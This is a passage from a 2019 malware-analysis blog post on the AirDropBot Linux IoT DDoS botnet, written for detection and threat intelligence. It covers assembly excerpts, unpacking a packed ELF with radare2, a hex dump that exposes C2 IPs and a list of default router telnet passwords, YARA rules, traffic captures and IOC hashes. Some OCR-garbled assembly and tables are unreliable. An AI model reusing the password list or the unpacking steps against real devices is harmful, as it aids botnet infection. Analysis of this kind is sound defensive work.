	connect(352.	{sa family-AF INET.	sin port-htons(8080).	sin addr-inet addr("122.5.139.66")}, 16) - 0:".
	connect(352.	{sa family=AF INET.	sin port=htons(8080).	sin addr-inet addr("50.1.232.172")}, 16) = 0:".
	"connect(352,	{sa family=AF INET,	sin port=htons(8080),	<pre>sin_addr=inet_addr("126.165.184.230")}, 16) = 0;".</pre>

(https://lh3.googleusercontent.com/ApPUPuGS1eDAvqpmVrEz4YRcgNxYfE1

8L1fP81B3a6zOeBLjD-

0yXF4dwlyYzqrOSZndxO2GqHvwt0V9t5jYlAMkpQtrPGmc8cLSXDaUFMTu HHY9rEmq7gz0r1kFuqEmMcoLt0JZ9zI=w963-h766-no)

#### 3. The "singleInstance" function

This is a code to make sure that there is no duplication of "**cloudprocess**" process that runs after a device getting infected. It's a simple code to kill -KILL the PID of detected double instance. You can easily reverse and examine it by yourself.

Below is the example ARM-32 assembly code for this function with my

comments in it just in case:

	0-00000778	-00004-5	Ide et Environnessin1	1:::	0x00009744	0010a0e3	now rl. 0
	0x000003776	40-04-4-2	rub co. co. Dull		0,00009748	0-100-0-0-1	now r0, so get the pid
	0,00003770	40004062	and so, so, die		0.0000074-	440200eb	bl read aid same celf1
	0x00009780	dau200eb	ofopenal r		0.000007-0	501004-5	
	0300009784	Ud/UaUe1	mov r/, sp		0,000003760	00103160	for FT, Luturousonoj
	0x00009788	1080a0e1	📫 🗰 👘 👘 🗰 🗰 🗰 👘		0x000097e4	6420a0e3	10V r2, 0x64
	; CODE XREFS	from <u>atoi</u> (	<pre>@ 0x97f0, 0x9804, 0x981c</pre>		0x000097e8	530200eb	blread_pid_name_self2
>	0x0000978c	0800a0e1	nov r0, r8		0x000097ec	0000 <b>56</b> e3	cap rô, û
	0x00009790	150300eb	bl readdir	<	0x000097f0	e5ffffda	hle 0v978c
2.2	0x00009794	000050	CORD THE R		0x000097f4	4c009fe5	ldr r0, [0x00009848]
	0-00009798	2600000	beg 0y9838		0x000097f8	4c109fe5	<pre>Idr r1, [str.cloudprocess] "cloudprocess"</pre>
1.2.2	0-0000979-	064080e2	add r4 r0 lbb		0x000097fc	8a0300eb	bl fcn.0000a62c strate()
	0.000007.0	0400+00-0			0x00009800	000050e3	cmp r0, 0
	0,00003740	Sho 200-1		~==<	0x00009804	eOffff0a	hep 0x978c
	0,000007-0	001000	atol		0.00000808	402001-5	1dr r2, [0v0000850]
	0x00009785	90109160	for Pi, Luxuuuusaauj		0.000000000	002002-5	
	0x000097ac	0060a0e1	sov r6, r0		0,000000000	010002-0	
	0x00009750	0d <mark>00</mark> a0e1	nov r0. so		0x00009610	01300362	
::	0x000097b4	9701 <mark>00</mark> eb	<pre>blutil_stropy</pre>		UXUUUU9814	U3U003E3	CIIP F3 3 compare val of cloidproces
111	0x00009758	00 <b>50</b> 87e0	add r5, r7, r0		0x00009818	006082e5	str r3, [r2]
111	0x000097bc	0410a0e1	mov r1, r4	-=<	0x0000981c	dattttda	ble 0x978c
1::	0x000097c0	05 <mark>00</mark> a0e1	nov r0 r5		0x00009820	2c309fe5	ldr r3, [0x00009854]
1:::	0x000097c4	930100eb	bl util strenv		0x00009824	0910a0e3	mov r1, 9
	0x000097~8	74109fe5	Ide r1. 0000098441		0x00009828	000093e5	Idr r0, [r3]
	0x000097cc	000085-0	add r0 r5 r0		0x0000982c	250200eb	bl kill stars"o" s
1.1	0.000007.00	000100ab	bl util strong		0x00009830	0000a0e3	mov r0, 0 aviet
1	0,000003700	add i <mark>ud</mark> eb	stropy		0x00009834	820700eb	hi evit
	read the pr	rocess in proc for o	ther instance		0,000000004	OLO / OCED	oroviv

(https://lh3.googleusercontent.com/-

lMy\_XTyRgqwC72\_aNnEp\_fZ8D4n4CfGiQs7iuCxXc7pfKoi0ftfGwazL8aLdxL FFZuwBAFga2LkH\_FtjdAYtCvfe2mg8bQsfdNd1oaMF8vojlPkMMwTQKQe1L PoEG95zLW9aJppu5s=w1692-h686-no)

for the right side of code, if I write that in C it's going to be something like this, more or less:



(https://lh3.googleusercontent.com/d0MWT2JgMm6eqLIr9CA\_X4IfzQgmVbeVVRIk1Drsds5nXdhjXOMw0alS3pNMlXw3dkXh5A4dzssx9KfvSqCX5S37N KzUQOCWEzKNIQE93LHy4RunnOijvqywmxVfg6sgQZQGFnY8qo=w630h454-no)

## BONUS: AirDropBot and the custom ELF packer case

As per other ELF badness produced by botnet adversaries in the internet, the AirDropBot is having binary that is packed with custom packer too.

The below file [link

(https://www.virustotal.com/gui/file/187492dca212f30e70cc7226a28f3704 abd7fe37f1d4c33a70884539c670c05f/detection)] is one good real example of AirDropBot ELF in packed mode, the VirusTotal detection is like below:

=			RUSTOTAL		Q. 888
SUMMARY	DETECTION	DETAILS	CONTENT	SUBMISSIONS	COMMUNITY
<			П		
2019-09-29T2	2:43:19 🗸				
AhnLab-V3			<ol> <li>Linux/MalP</li> </ol>	ack1.Exp	
ESET-NOD32			() A Variant O	f Linux/Mirai.BV	
Fortinet			() ELF/Mirai/	Ntr	
Jiangmin			() TrojanDDo	S.Linux.nk	
Kaspersky			() HEUR:Bad	kdoor.Linux.Gafgyt.bj	
ZoneAlarm by Cher	ck Point		HEUR:Bad	kdoor.Linux.Gafgyt.bj	
Ad-Aware			Undetected	1	
AegisLab			Undetected	1	
ALYac			Undetected	1	
Antiy-AVL			O Undetected	i .	
Arcabit			<ul> <li>Undetected</li> </ul>	1	

(https://lh3.googleusercontent.com/9v1IjEJq6zWlGRk7FkDt2dTGSijTFlocRo R9clPkR0tLByVfyVn1fQIjM9YOYC2uGSd0MIU1Pm9RMTBDLZNS\_mylxX\_1 We5WXhwht86f3JoXmNRiUoAy9KwDKoKFTZXzU5v-a8E7cGk=w835h607-no)

This sample is spotted in the wild a while ago on trying to infect one of my honeytraps. The "**file**" result looks like this:

1

x86.cloudbot: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically link

The binary is packed and by reading the assembly flow in the packer codes we can tell it is a UPX-like packer. It looks like this:



(https://lh3.googleusercontent.com/wqIROGSa9mA44GCix1fLk-GzqUoVGTvhz6BKTKSXDBAQrdainlA5Ht47A3KArXZXX5ygasdS6iMupM-OIaTquayRjuxOdnin-NnyksqoXligzatFasqn2l-bQaQPkgESwtMle-0Sk5U=w1805-h940-no) If you follow my presentation in **R2CON2018** in the last part (the main course) about unpacking with radare2 for an unknown packer, the same method can be applied for you to get the **OEP** by implementing several "**bp**" on the unpacker processes. There are slides and video for that, use this link for some more information: [link

(https://www.reddit.com/r/LinuxMalware/comments/9eqn6m/about\_my\_pres entation\_of\_unpacking\_the/)]

That is exactly the method I applied to unpack this ELF.

Then next, after you **bp** to part where packed code copied to the base memory defined in the LOADO section, I will share "my way to" easily extract the unpacked ELF afterward:



(https://lh3.googleusercontent.com/uhrS7W3YM-

9tJQUjG2cdJQPCNyxulcap\_6pG3v5ielWmW8Q4Tau5HaLH6Id56YmGdumD AqToAdSVaDrbWEVvJIRkx3WXJACEklJGJm-

3ABRJgRUXPs5UtKQOLpbggxozv97Ai9pmDR0=w1199-h957-no)

ELF file headers is having enough information to be rebuilt, let's use it, assuming the header table is the last part of the ELF the below formula is more or less describing the size of the unpacked object:

- 1
- 2
- 3
- 4
- Ŧ
- 5

6
7
8
9
10
11
e\_shoff + ( e\_shentsize \* e\_shnum ) = +/- file\_size
0x00013af8 + ( 0x0028 \* 0x0013 ) = file\_size
? (0x0028 \* 0x0013) + 0x00013af8|grep hex

And.. there you go, this is my unpacked file: [link (https://www.virustotal.com/gui/file/e42964a8d5aa0d82bf2eda129d422baa 4201600c92a89af0f3fdbd67cfed40e0/detection)] Next, let's see the detection ratio of this packed binary in Virus Total after successfully unpacked (...well, at least it is two points higher than the packed one)

_		~				000		
=	VIRUSTOTAL							
SUMMARY	MARY DETECTION DETAILS RELATIONS CONTENT							
<						,		
2019-09-29T23	140:32 🗸					D		
Avast			() ELF:Mirai-AL	.C [Tij]				
Avast-Mobile			() ELF:Mirai-AM	AA [[1]] AA				
AVG			() ELF:Mirai-AL	.C [Tij]				
ClamAV			() Unix.Trojan.G	afgyt-6735924-0				
ESET-NOD32			① A Variant Of	Linux/Mirai.BV				
Kaspersky			() HEUR:Backd	loor Linux Galgyt b	i.			
Rising			Backdoor.Mir	ai/Linuxl1.BD1A (	CLASSIC)			
ZoneAlarm by Chec	k Point		() HEUR:Backd	loor Linux Gafgyt bj	i.			
Ad-Aware			<ul> <li>Undetected</li> </ul>					
AegisLab			<ul> <li>Undetected</li> </ul>					
Abol ab.V3			O Undetected					

(https://lh3.googleusercontent.com/-\_EylHP07T\_O-

6HFKW7rmzCU\_ar3tW0ceJoepMsfYeEhW5lZTyKsk-

7GoAVtTn0CTFU5SOSL7UH2XObd-HhXCVXJCR0W-s6VdCvtqED67X-

ALhEEl69b-I9Bl87JGIY\_ltE-Fhn2GJg=w829-h607-no)

And the binary after unpacked is very much readable now..and BOOM! the C2

of this packed ELF is in 185.244.25[.]200, 185.244.25[.]201, and

185.244.25[.]202 are revealed! :)) Now we know why the adversary wanted to

pack their binary that bad.

:

<b>\$</b>
\$ md5 unpacked-x86cloudbot
MD5 (unpacked-x86cloudbot) = 8fd08d19669eeaae99759b6e01a7f191
\$ r2 unpacked-x86cloudbot
sudo make me a pancake
[0x08048184]> pxx @ 0x08057cf7!0x333
- offset - 0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF
0x08057cf7 udp.tcp.killyourself.[sysd].185.244.25.200.185.244.25.201.185.24
0x08057d37 4.25.202 [MAIN] received encrypted content %s[MAIN] received
0x08057d77 decrypted content %scloudbot storing your data in the cloud
0x08057db7 s%d.%d.%d.%d %s:%s.default.linuxshell.daemon.guest.12345.suppo
0x08057df7 rt.zlxx.7.Zte521.anko.zsun1188.xc3511.xmhdipc.Xm.vstarcam2015.20
0x08057e37 150602,12345678,123456,jvbzd,hi3518,hunt5759,20080826,service.sv
0x08057e77 godie.zhone.cisco.2011vsta.klv1234.klv123.huigu309.taZz@23495859
0x08057eb7 .telnetadmin.3ep5w2u.1q2w3e4r5.e8telnet.admintelecom.hadoop.tele
0x08057ef7 comadmin_0xhlwSG8_mg3500_merlin_anni2013_GM8182_uClinux_5up_jvc_
0x08057f37 epicrouter.1001chin.aquario.gpon.supervisor.zyad1234.7ujMko0vizx
0x08057f77 v.7ujMko0admin.oelinux123.changeme.LSiuY7p0mZG2s.vertex25ektks12
0x08057fb7 3.tsgoingon.solokey.6666666.888888888.grouter.t1789.twe8ehome.h3c.
0x08057ff7 nmgx_wapia.private.abc123.R00T500.ahetzip8.ascend.b
[0x08048184]>
[0x08048184]>

(https://lh3.googleusercontent.com/7yhl8IWlsrhepienGpDNseP80SEB3ig4j-7m68Ux-

yz31tVHMWh10PrK5QRcsvnERtbTsmkIxLMU12D0h2pMOrzOaEU30YM6P ulX4sVH2-XUSbptAJTt2kNkL7HyifhNirrWWwT7Fkk=w954-h595-no)

For the addition, nowadays IoT botnet adversaries are not only packing the Intel binaries, but the embedded platform's (some are RISC cpu too) Linux binary are often seen packed also with the custom packers. Like in this similar threat report I made [link (https://imgur.com/a/Ak9zICq)], with the ELF binary for MIPS cpu

(noted: big endian one), sample that was actually spotted inside of the house of a victim (in his MIPS IoT daily used device, I won't disclose it further). I analyzed and unpacked it, to find that is not only "UPX!" bytes tampering that has been replaced.

Let me quote it in here too about my suggested unpacking methods for embedded Linux binaries I wrote in the linked post, as follows:

1 2 3 4 5 6 7 8 9 10 11 12 "There are other radare2 ways also for unpacking and extracting unpacked sample manually too. The " dmda " is also useful to dump but it's maybe a bit hard effort to run it on embedded system, or, you can fix the load0 and load1 that can also be done after you grab " OEP ", or, you can also break it in the exact rewriting process to the base address, but either ways, should be able to unpack it. First ones will consume workspace in the memory for performing it.. I don't think RISC systems has much luxury in space for that purpose, but the latter one in some circumstance can be performed in ESIL mode."

The thing is you should master all of those methods, and only by that most of binary packing possibility in Linux can be solved manually without depending on UPX or any automation tools.

"So don't worry, just fire your radare2, and everything will be just Okay!" :D (my favorite motto)

### In a short summary as the conclusion

This binaries are a DoS bot clients, a part of a DDoS botnet. It spread as a worm with currently aiming Lynksys tmUnblock.cgi routers derived by non MIPS built binaries that infects machines to act as payload spreader too. I must warn you that I did not check the details in every 26 binaries came up during this investigation, but I think the general aspect is covered.

These are malware for Linux platform, it has backdoor, bot functions and are having infection capability with aiming vulnerability in routers CGI or telnet. The malware is coded with many originality intact, again, it is a newly coded, it is not using codes from Mirai-like, GafGyt (Qbot/Torlus base), or Kaiten (or STD like), but I can tell that the development is not mature yet. I was about to name it as "Cloudbot" but it looks like there is a legitimate software already using it so I switched to the "Airdropbot" instead due to the hardcoded message printed on a success infection. This is a new strain of various library of IoT botnet, I hope that other security entities and law enforcer aware of what has just been occurred here, before it is making bigger damage like Mirai botnet did before.

### **Detection methods**

### **Binary detection**

For the binary signature method of detection. The unpacked version will hit just fine. But since the AirDropBot was developed to support many embed platform from various CPU and "endianness" type, to detect it precisely you may need to code several signatures. However, if you see the typical functions of their binary carefully, so it is yes, one generic rule can be generated and applied. For that I PoC'ed it myself to develop a bit complex Yara rules to detect them all and to recognize which binary that is having the scanner and not. The snippet code and scan example is as per screenshot below.

46	condition:	ateb 2
47	1 of them	Sup See 20 04:22:55 ICT 2010
48	and is elf	Sun Sep 23 04-28-35 JSI 2013
49	and is LinuxAirOropBot GEN	\$ Is -1 ,/New/ cut -d ~ -f7-
50	and filesize < 50KB	
51		34596 Sep. 25, 20:10 cloudbat-are
52	rule Linux_AirDrop_malware_Scanner {	26468 Sep 25 20:00 claudbat mine
53		20406 Sep 25 20:05 Cloudble life
54	meta:	31296 Sep 25 20:07 cloudbot-x64
55	description = "Detects Linux/AirOrop wirh Scanner"	30320 Sep 25 20:06 cloudbot-x86
56	date = "2019-09-28"	24468 Sep 29 04:24 hpips2_cloudbot
57	strings:	24692 Sep 29 04:21 ppc cloudbot
58	<pre>\$hexprc21 = { 30 71 73 70 64 30 }</pre>	
59	Shexprc22 = { 30 6E 62 71 74 }	125876 Sep 29 04:21 sh-sh4,cloudbot
60	\$hexprc23 = { 30 64 6E 65 6D 6A 6F 66 }	34528 Sep 29 04:23 xtensa.cloudbot
61	\$hexprc24 = { 30 74 75 62 75 76 74 }	\$
62	\$hexprc25 = { 30 66 79 66 }	\$ vara /New/AirDronRot var /New/
63	\$hexprc26 = { 47 72 6F 75 70 73 3A 09 }	in a find a find the second strate of the second st
64	\$hexprc27 = { 65 6E 63 6F 64 65 72 }	Linux_Arrbrop_liatware_deleric ./New//cloudbot-arii
65	\$hexklii = { 73 6F 72 61 }	Linux_AirUrop_malware_Scanner ,/New//cloudbot-arm
66	\$hexkl12 = { 69 6E 73 6F 6D 6E 69 }	Linux_AirDrop_malware_Generic ./New//cloudbot-x86
67	\$hexkl13 = { 41 68 69 72 75 }	Linux AirDrop malware Scanper _/New//cloudbot-x86
68	\$hexkl14 = { 73 63 61 6E 4A 6F 73 68 }	Linux AirDrop malware Generic /New//cloudbot-mins
69	\$hexkl15 = { 41 60 6E 65 73 69 61 }	
70	\$hexk116 = { 4F 77 61 72 69 }	LINUX_AIPprop_maiware_generic ./New//cloudbot=xo4
71	\$hexkl17 = { 6D 69 6F 72 69 }	Linux_AirDrop_malware_Scanner ./New//cloudbot-xb4
72	<pre>\$hexkl18 = { 43 61 79 6F 73 69 6E }</pre>	Linux_AirDrop_malware_Generic ./New//ppc.cloudbot
73	<pre>\$postr21 = "submit_button=" fullword nocase wide ascii</pre>	Linux AirDrop malware Scapper /New//poc.cloudbot
74	<pre>\$postr22 - "change_action-" fullword nocase wide ascii</pre>	Linux AirDrop malware Generic //hen//hoios2 cloudhot
75	<pre>\$postr23 = "commit=" fullword nocase wide ascii</pre>	
76	<pre>\$postr24 = ".cgi" fullword nocase wide ascii</pre>	LINUX_AIPDPop_maiware_generic ./New//xtensa.cloudpot
77	<pre>\$postr25 - "tmUnblock" fullword nocase wide ascii</pre>	Linux_AirDrop_malware_Scanner ,/New//xtensa,cloudbot
78	condition:	\$
79	(1 of (\$hexprc")	
88	and (4 of (\$hexk1"))	
81	and (3 of (\$postr")))	
82	and is_elf	
83	and isLinuxAirOropBot_GEN	
84	and filesize < 50KB	

(https://lh3.googleusercontent.com/s5lx6Kkvbrk65QV33QipOyahPxKd3OTf DwUfjRDCSYBvFI2Q4-PNe3hscAYt4oJ5nzRWU0g9N4ZEvtvgBxiuZU43F4q2Ew6e4qcZc9kYBuUztZ g7F9BF2CftPzf4E7PWfFmgRatc1Ow=w1478-h853-no)

## **Traffic detection**

For the traffic detection, there are two methods that you can apply as detection: (1) *The Initial Connection* and activities of AirDropBot does right after the success infection, or (2) *the DoS traffic*, I am explaining both as follows.

The Initial connection detection is related to the nature of this malware, which is connecting to C2 and performing scanning for vulnerabilities aiming random IP in 8080. I can suggest a nice Suricata or Snort rule can be coded for connection that's aiming TCP/455 (C2 connection port), but the C2 port can be changed by the adversaries too on their next campaign, but that's not going to be easy for them to prepare all of those varied binaries and C2 port changes immediately (smile). The other way is to focus on the scanner payloads as per described in some of pictures above, the Surucata rules to detect them will last longer IF the same vulnerability is still being aimed.

Destination	Protocol	Length	Info	_												
179.43.149.189	TCP	74	49061	-455	3WH	seq=0	win=14	4600 L	en=0 MS	5S=1460	SACK_PI	ERM-1 1	rsval=5	68268	rsecr=0	W5=4
160.112.41.44	TCP	74	46822	+8080	[SYN]	Seq	0 win=1	460	The C2 connection		RM=1	TSval=	568269	TSecr=0	WS=4	
179.43.149.189	TCP	74	[TCP	Retrar	ismiss	ion]	49061-4	200		otion	n=0 M	455-146	0 SACK	PERM-1	TSval	
160.112.41.44	TCP	74	TCP	Retrar	1511155	sion]	46822-8	1080		cuon	en=0	M55=14	60 SAC	K_PERM=1	TSVa	
131,73,127,44	TCP	74	40646	-8080	[SYN]	seq-	0 Win=3	460.			want	_RM=1	TSval=	568372	TSecr=0	WS=4
131.73.127.44	TCP	74	[TCP	Retrar	ismi ss	ion]	40646-8	3080 [	SYN] SI	eq=0 Win	=14600	Len=0	M55-14	60 SAC	K_PERM-1	TSva
195.113.41.44	TCP	74	45913	-8080	SYN]	Seq-	0 Win=1	14600	Len=0 M	(SS=1460	SACK_	PERM-1	TSval=	568474	TSecr-0	) WS=4
179.43.149.189	TCP	74	[TCP	Retrar	15 11 15	ion]	49061-+4	155 [S	YN] Sec	q=0 win=	14600	Len=0 M	455=146	0 SACK	_PERM=1	TSval
195.113.41.44	TCP	74	[TCP	Retrar	15mi ss	i Ngn]	45913-+8	1080 [	SYN] SI	eq=0 Win	=14600	Len=0	MSS=14	60 SAC	K_PERM=1	TSva
150.168.226.75	TCP	74	58504	-8080	SYN]	Seq	0 Win-1	14600	Len=0 M	4SS=1460	SACK_	PERM-1	TSval-	568576	TSecr=0	WS=4
150.168.226.75	TCP	74	[TCP	keunar	ISIN'IS-	sion]	58504-+8	3080 [	[SYN] 56	eq=0 win	<b>=14600</b>	Len=0	M55=14	60 SACI	K_PERM=1	. TSVa
188.129.242.243	TCP	74	49424	-8080	[SYN]	Seg	0 win=1	4600	Len=0 >	455=1460	SACK_	PERM-1	TSval=	568678	TSecr=0	WS=4
188.129.242.243	TCP	74	[TCP	Retrar	ismiss	TON	4942.1-0	080	The exploit scanner traff		en=0	M55-14	60 SACI	K_PERM-1	TSva	
104.81.50.148	TCP	74	54079	8080	EAN!	Can	0 winei	1.1		er traffic	8M=1	TSVal=	568780	TSecr=0	) WS-4	
104.81.50.148	TCP	74	[TCP	Retrar	15mi ss	sion]	54022	2. A		a uanic	en=0	MSS=14	60 SAC	K_PERM=1	. TSva	
96.253.202.202	TCP	74	44115	-8080	SV!	Seq-	O Mine	60			82-1	TSval=	568882	TSecr=0	) WS=4	
179.43.149.189	TCP	74	[TCP	Retrar	Bmiss	sion	25/10	55 [s	5YN] 560	q=0 win=	14600	Len=0 M	455-146	0 SACK	PERM=1	TSVal
96.253.202.202	TCP	74	LTCP	Retrar	1511155	ion	gran -	3080 [	SYN] 50	eq=0 W1n	=14600	Len=0	M55=14	60 SAC	K_PERM=1	TSva
2.249.119.105	TCP	74	60838	-8080	SYN	Seo	0 K. n=1	4600	Len=0 >	455-1460	SACK_	PERM-1	TSval=	568985	TSecr-0	WS=4
2.249.119.105	TCP	74	TCP	Retrar	1511122	1201/	64638-8	1080 [	SYN] S	eq=0 Win	=14600	Len=0	MSS=14	60 SAC	K_PERM=1	. TSVa
85.195.80.8	TCP	74	57704	-8080	SYN	SEQ	C Win=3	14600	Len=0 M	155=1460	SACK	PERM=1	TSVal=	569087	TSecr=0	WSm4
85.195.80.8	TCP	74	TCP	Retrar	151,455	1011	57704-8	1080	SYNJ S	eq=0 W1n	-14600	Len=0	MSS-14	60 SAC	K_PERM-1	. TSva
194.30.236.149	TCP	/4	46241	-8080	SYN	seg-	0 W1n=3	14600	Len=0 M	155=1460	SACK_	PERM-1	TSval=	569189	TSecr-0	WS=4
194.30.236.149	TCP	74	TCP	Retrar	1511/159	<b>/[gh]</b>	46241-+8	1080	SYN] S	eq=0 W1n	=14600	Len=0	M55=14	60 SAC	K_PERM=1	. TSVa
148.90.133.67	TCP	74	4059.	-8080	SY'L	Seq-	0 W1N=3	4600	Len=0 M	455=1460	SACK	PERM=1	TSval=	569291	TSecr=0	WS=4
148.90.133.67	TCP	74	LICP	Recrar		monj	40597-8	1 080	SYN S	eq=0 Win	=14600	Len=0	M55-14	OU SACI	K_PERM-1	. ISva
221,44.99.77	TCP	74	39258	-2080	LS'N]	_seq=	O WIN-3	14600	Len=0 M	155=1460	SACK_	PERM=1	TSVal=	369394	TSECF=0	WS=4
221.44.99.77	TCP	74	TCP	Retrar	15/1155	non	59258-8	1 0801	[51N] 50	eq=0 W1n	=14600	Len=0	M55=14	60 SACI	CPERM-1	TSVa
31.142.91.36	TCP	74	33970	-8080	L SYN J	Seq-	o enn-a	4000	Len=0 I	155=1460	SACK_	PERM=1	ISVal-	509496	TSECF=0	WS=4
31, 142, 91, 36	TCP	74	LTCP	Retrar	15mî SS	non	33970-+8	1080	SYN] SE	eq=0 Win	=14600	Len=0	MSS=14	60 SAC	K_PERM=1	TSva

(https://lh3.googleusercontent.com/roaBiLZkqwv5s8d7vWQ7677\_meMN8O 018aZOqoJHFwBbRk4KoBu\_SO3XAhrQkPCcb-Txcu2HKObZI6vK99wpIkopbN5wwM5QyKI-YIQ5G5jKAT\_FUBcI3rSjvVl6MK5w-glQXDIEDbc=w1690-h873-no)

The other detection is by using the AirDropBot's hardcoded flood packets, which I was in purpose whoring them in the attached pictures above too. This way you may be able to recognize the DoS traffic activity performed by this threat in the future DDoS incidents. Succeata and Snort rules are supported for this purpose.

The bad actors and his gang are still at large and reading this blog post too :), I am sorry I can not share the generic scanning code I made in here, but the screenshots I provided are enough for fellow reversers to recognize and implement these detection methods to filter these series of AirdropBot activities. The rest is OpSec.

## Hashes and IOC information

The hashes are listed as per below and IOC has been posted to MISP and OTX for all blue-teamer community to be noticed.

- 11 12 13 14 1516 17 18 19 20 21 22 23 24 25 26 ../bins/aarch64be.cloudbot | 417151777eaaccfc62f778d33fd183ff ../bins/arc.cloudbot | d31f047c125deb4c2f879d88b083b9d5 ../bins/arcle-750d.cloudbot | ff1eb225f31e5c29dde47c147f40627e ../bins/arcle-hs38.cloudbot | f3aed39202b51afdd1354adc8362d6bf ../bins/arm.cloudbot | 083a5f463cb84f7ae8868cb2eb6a22eb ../bins/arm5.cloudbot | 9ce4decd27c303a44ab2e187625934f3 ../bins/arm6.cloudbot | b6c6c1b2e89de81db8633144f4cb4b7d ../bins/arm7.cloudbot | abd5008522f69cca92f8eefeb5f160e2 ../bins/fritzbox.cloudbot | a84bbf660ace4f0159f3d13e058235e9 ../bins/haarch64.cloudbot | 5fec65455bd8c842d672171d475460b6 ../bins/hnios2.cloudbot | 4d3cab2d0c51081e509ad25fbd7ff596 ../bins/hopenrisc.cloudbot | 252e2dfdf04290e7e9fc3c4d61bb3529 ../bins/hriscv64.cloudbot | 5dcdace449052a596bce05328bd23a3b ../bins/linksys.cloudbot | 9c66fbe776a97a8613bfa983c7dca149 ../bins/m68k-68xxx.cloudbot | 59af44a74873ac034bd24ca1c3275af5 ../bins/microblazebe.cloudbot | 9642b8aff1fda24baa6abe0aa8c8b173 ../bins/microblazeel.cloudbot | e56cec6001f2f6efc0ad7c2fb840aceb ../bins/mips.cloudbot | 54d93673f9539f1914008cfe8fd2bbdd
- ../bins/mips2.cloudbot | a84bbf660ace4f0159f3d13e058235e9
- ../bins/mpsl.cloudbot | 9c66fbe776a97a8613bfa983c7dca149
- ../bins/ppc.cloudbot | 6d202084d4f25a0aa2225589dab536e7
- ../bins/sh-sh4.cloudbot | cfbf1bd882ae7b87d4b04122d2ab42cb
- ../bins/sh4.cloudbot | b02af5bd329e19d7e4e2006c9c172713
- ../bins/x86.cloudbot | 85a8aad8d938c44c3f3f51089a60ec16
- ../bins/x86\_64.cloudbot | 2c0afe7b13cdd642336ccc7b3e952d8d

## Salutation & Epilogue

I would like to thank to @Oxrb for his persistence trying to convince me that this binary is interesting. It is interesting indeed, and as promised, this is the analysis I did after work, writing this in 8hours more non-stop. Thank's also for other readers who keep on supporting MMD, and as team, we appreciate your patience in waiting for our new post.

Thank you **pancake** and **Radare2 teams** who keep on making **radare2** the best RE tools for UNIX (All of the **radare2** reversing was done in **FreeBSD OS**, **thank you for your great support to FreeBSD!**), and also I thank **Tsurugi DFIR team** for your great forensics tools. For these open source security frameworks I still keep on helping with tests and bug reports.

Okay, I will rest and will wordsmith some *miserable jargon parts* of the post later, maybe I will add detail that I didn't have much time to write it now, or, to correct some minor stuff. In the mean time, enjoy the writing, please share with mention or using #MalwareMustDie hashtag. This post is a start for more posts to come.

A tribute to the newborn **radare2** community in Japan **"r2jp"**, that we established in 2013 together with "pancake" on **AVTokyo** workshop in Tokyo, Japan.



This technical analysis and its contents is an original work and firstly published in the current MalwareMustDie Blog post (this site), the analysis and writing is made by *@unixfreaxjp*.

The research contents is bound to our legal disclaimer guide line (https://blog.malwaremustdie.org/p/the-rule-to-share-malicious-codes-we.html) in sharing of MalwareMustDie NPO research material.



Malware Must Die!

blog.malwaremustdie.org (https://blog.malwaremustdie.org/2019/09/mmd-0064-2019-linuxairdropbot.html) · by unixfreaxjp · September 28, 2019